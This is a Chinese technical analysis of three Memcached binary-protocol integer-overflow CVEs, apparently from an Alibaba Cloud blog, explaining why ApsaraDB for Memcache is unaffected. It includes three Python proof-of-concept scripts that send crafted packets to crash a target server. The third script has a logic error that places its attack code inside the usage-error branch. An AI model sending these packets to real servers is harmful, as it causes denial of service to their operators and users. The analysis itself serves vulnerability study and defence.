Memcached命令执行漏洞(CVE-2016-8704、CVE-2016-8705、CVE-2016-8706)原理和对阿里云Memcache影响分析

简介: Memcached是一个广泛使用的高速缓存系统,近期研究者发现小于1.4.33的版本存在3个整数溢出漏洞,通过这几个漏洞攻击者可以触发堆溢出导致crash,这里对漏洞做了分析和验证。尔后验证了阿里云ApsaraDB for Memcache不受漏洞影响,并分析了原因。

漏洞简介

Memcached是一个广泛使用的高速缓存系统,近期研究者发现小于1.4.33的版本存在3个整数溢出漏洞,通过这几个漏洞攻击者可以触发堆溢出导致crash。官方在11月1日发布了升级公告。漏洞作者已经提供了很详细的描述,在这里仅做简单的整理和验证。

后面验证了阿里云ApsaraDB for Memcache不受漏洞影响,并分析了原因。这个案例深刻告诉我们,对于用户输入,一定要做全面的检查。

漏洞分析

漏洞仅仅在binary时会触发。本质都是没有对用户输入的协议做严格全面的边界检查,导致在调用item.c中的do_item_alloc()函数时, 传入的参数nbytes是个负值,导致堆栈溢出。

item *do_item_alloc(char *key, const size_t nkey, const int flags,
                    const rel_time_t exptime, const int nbytes,
                    const uint32_t cur_hv) {
  size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
}

ntotal大小的内存用来存放item、flags、key、value。当nbytes为负值,导致ntotal偏小,导致溢出。

CVE-2016-8704

当执行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 命令时会进入这样如下代码路径:

case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
  if (keylen > 0 && extlen == 0) {
    bin_read_key(c, bin_reading_set_header, 0);
  } else {
    protocol_error = 1;
  }
  break;

这里并仅检查了keylen和extlen的值,并没有检查bodylen。

complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入了process_bin_append_prepend()函数中,

key = binary_get_key(c);
nkey = c->binary_header.request.keylen; //
vlen = c->binary_header.request.bodylen - nkey;
...
it = item_alloc(key, nkey, 0, 0, vlen+2);

这里keylen做过合法性检查,bodylen没有,所以itme_alloc()函数中的参数中keynkey可以保证合法性,但vlen无法保证。

PoC代码:

# -*- coding: utf-8 -*-

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H", 0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I", 0)
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
body = "A" * 1024

if len(sys.argv) != 3:
    print "./poc_crash.py <server> <port>"
    sys.exit(1)

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1], int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1], int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1], int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()

当进入process_bin_append_prepend()函数中,nkey 250、vlen -250, 调用item_alloc(), 触发漏洞。

CVE-2016-8705

当进行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作时会进入如下代码路径:

static void dispatch_bin_command(conn *c) {
  int extlen = c->binary_header.request.extlen;
  int keylen = c->binary_header.request.keylen;
  uint32_t bodylen = c->binary_header.request.bodylen;
  ...
  case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
  case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
  case PROTOCOL_BINARY_CMD_REPLACE:
    if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
      bin_read_key(c, bin_reading_set_header, 8);
    } else {
      protocol_error = 1;
    }
    break;
}

在这里需满足bodylen >= (keylen + 8),这里要注意的是各变量类型,bodylen 为uint32_t。

complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入process_bin_update()

static void process_bin_update(conn *c) {
  int nkey;
  int vlen;
  ...
  key = binary_get_key(c);
  nkey = c->binary_header.request.keylen;
  ...
  vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
  ...
  it = item_alloc(key, nkey, req->message.body.flags,
                  realtime(req->message.body.expiration), vlen+2);
}

bodylen为无符号整形,在赋值给整形的vlen时会做类型转换,若bodylen过大, vlen 会变成一个负数,进而调用item_alloc()触发漏洞。

PoC:

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H", 0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I", 0xffffffd0)
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I", 0xe10)
body = "A" * 1024

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv) != 3:
    print "./poc_add.py <server> <port>"
    sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()

dispatch_bin_command()中 keylen为250,bodylen为 4294967248,通过了检查。process_bin_update()中 nkey为250,vlen 为 -306,调用item_alloc() 触发漏洞。

CVE-2016-8706

当进行 SASL_AUTH 操作,进入下面代码步骤:

static void dispatch_bin_command(conn *c) {
  ...
  case PROTOCOL_BINARY_CMD_SASL_AUTH:
  case PROTOCOL_BINARY_CMD_SASL_STEP:
  if (extlen == 0 && keylen != 0) {
    bin_read_key(c, bin_reading_sasl_auth, 0);
  } else {
    protocol_error = 1;
  }
  break;
  ...
}

这里只检查了extlen 和keylen,没有对bodylen进行检查。

complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,进入process_bin_sasl_auth()函数:

static void process_bin_sasl_auth(conn *c) {
  ...
  int nkey = c->binary_header.request.keylen;
  int vlen = c->binary_header.request.bodylen - nkey;
  ...
  item* it = item_alloc(key, nkey, 0, 0, vlen);
}

只要bodylen 小于keylen,vlen 变为负值。

PoC:

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_SET = "\x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len + body_len*2 + "A"*1000
if len(sys.argv) != 3:
    print "./poc_sasl.py <server> <ip>"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1],int(sys.argv[2])))
    s.sendall(packet)
    print s.recv(1024)
    s.close()

process_bin_sasl_auth()中 nkey为32,vlen 为 -31,调用item_alloc()触发漏洞。

阿里云ApsaraDB for Memcache(原名OCS) 验证分析

阿里云ApsaraDB for Memcache,底层不是用的官方Memcached,而且基于自研的Tair,兼容Memcached协议。对于用户输入的协议,做了严格的边界检查,避免了上述漏洞。相关部分伪代码如下:

int16_t extlen = c->binary_header.request.extlen;
int16_t keylen = c->binary_header.request.keylen;
int32_t bodylen = c->binary_header.request.bodylen;
if (boylen < 0 || bodylen > 2*1024*1024)
{
  decode protocal error;
  主动close 连接;
}
if (extlen < 0 || keylen < 0 || bodylen < keylen + extlen)
{
  decode protocal error;
  主动close 连接;
}

使用上述的PoC代码测试ApsaraDB for Memcache,对应连接会被server端直接close()掉。

目录
相关文章
|
4月前
|
NoSQL Redis 数据库
【后端面经】【缓存】36|Redis 单线程:为什么 Redis 用单线程而 Memcached 用多线程?-- Memcache + Redis 多线程
【5月更文挑战第20天】Redis采用单线程模式以避免上下文切换和资源竞争,简化调试,且其性能瓶颈在于网络IO和内存,而非多线程。相比之下,Memcache使用多线程能更好地利用多核CPU,但伴随上下文切换和锁管理的开销。尽管Redis单线程性能不俗,6.0版本引入多线程以提升高并发下的IO处理能力。启用多线程后,Redis结合Reactor和epoll实现并发处理,提高系统性能。
62 0
|
SQL 缓存 安全
Memcached 未授权漏洞利用
Memcached 未授权漏洞利用
947 0
|
存储 缓存 移动开发
Memcached源码分析 - 命令解析(2)
Memcached源码分析 - 网络模型(1)Memcached源码分析 - 命令解析(2)Memcached源码分析 - 数据存储(3)Memcached源码分析 - 增删改查操作(4)Memcached源码分析 - 内存存储机制Slabs(5)Memcached源码分析 - LRU淘汰算法(6)Memcached源码分析 - 消息回应(7) 开篇  这篇博文的目的主要为了讲清楚Memcached在解析命令的处理逻辑,会穿插一些Memcached的命令行操作。
1030 0
|
安全 测试技术 区块链
游戏安全资讯精选 2018年第八期:3975款游戏被查处,游戏圈重击;Memcached被利用UDP反射攻击漏洞预警;VentureBeat称区块链或可定位和消除恶意可执行代码的安全问题
3975款游戏被查处,游戏圈重击;Memcached被利用UDP反射攻击漏洞预警;VentureBeat称区块链或可定位和消除恶意可执行代码的安全问题
6028 0
|
Web App开发 安全 测试技术
【重要安全预警】Memcached被利用UDP反射攻击漏洞预警
本周,阿里云安全中心监测到互联网上存在利用Memcached服务漏洞进行的恶意攻击。如果客户默认开放UDP协议且未做访问控制,在运行Memcached服务时可能会被黑客利用,导致出方向的带宽消耗或CPU资源消耗。
8506 0
|
安全 网络安全 Apache
游戏安全资讯精选 2018年第七期:棋牌游戏的商业模式和风险,黑客利用Apache CouchDB中的两个“老漏洞”挖币,阿里云成功防御国内最大规模Memcached DDoS反射攻击
棋牌游戏的商业模式和风险,黑客利用Apache CouchDB中的两个“老漏洞”挖币,阿里云成功防御国内最大规模Memcached DDoS反射攻击
3088 0
|
存储 缓存 关系型数据库
|
应用服务中间件 PHP Memcache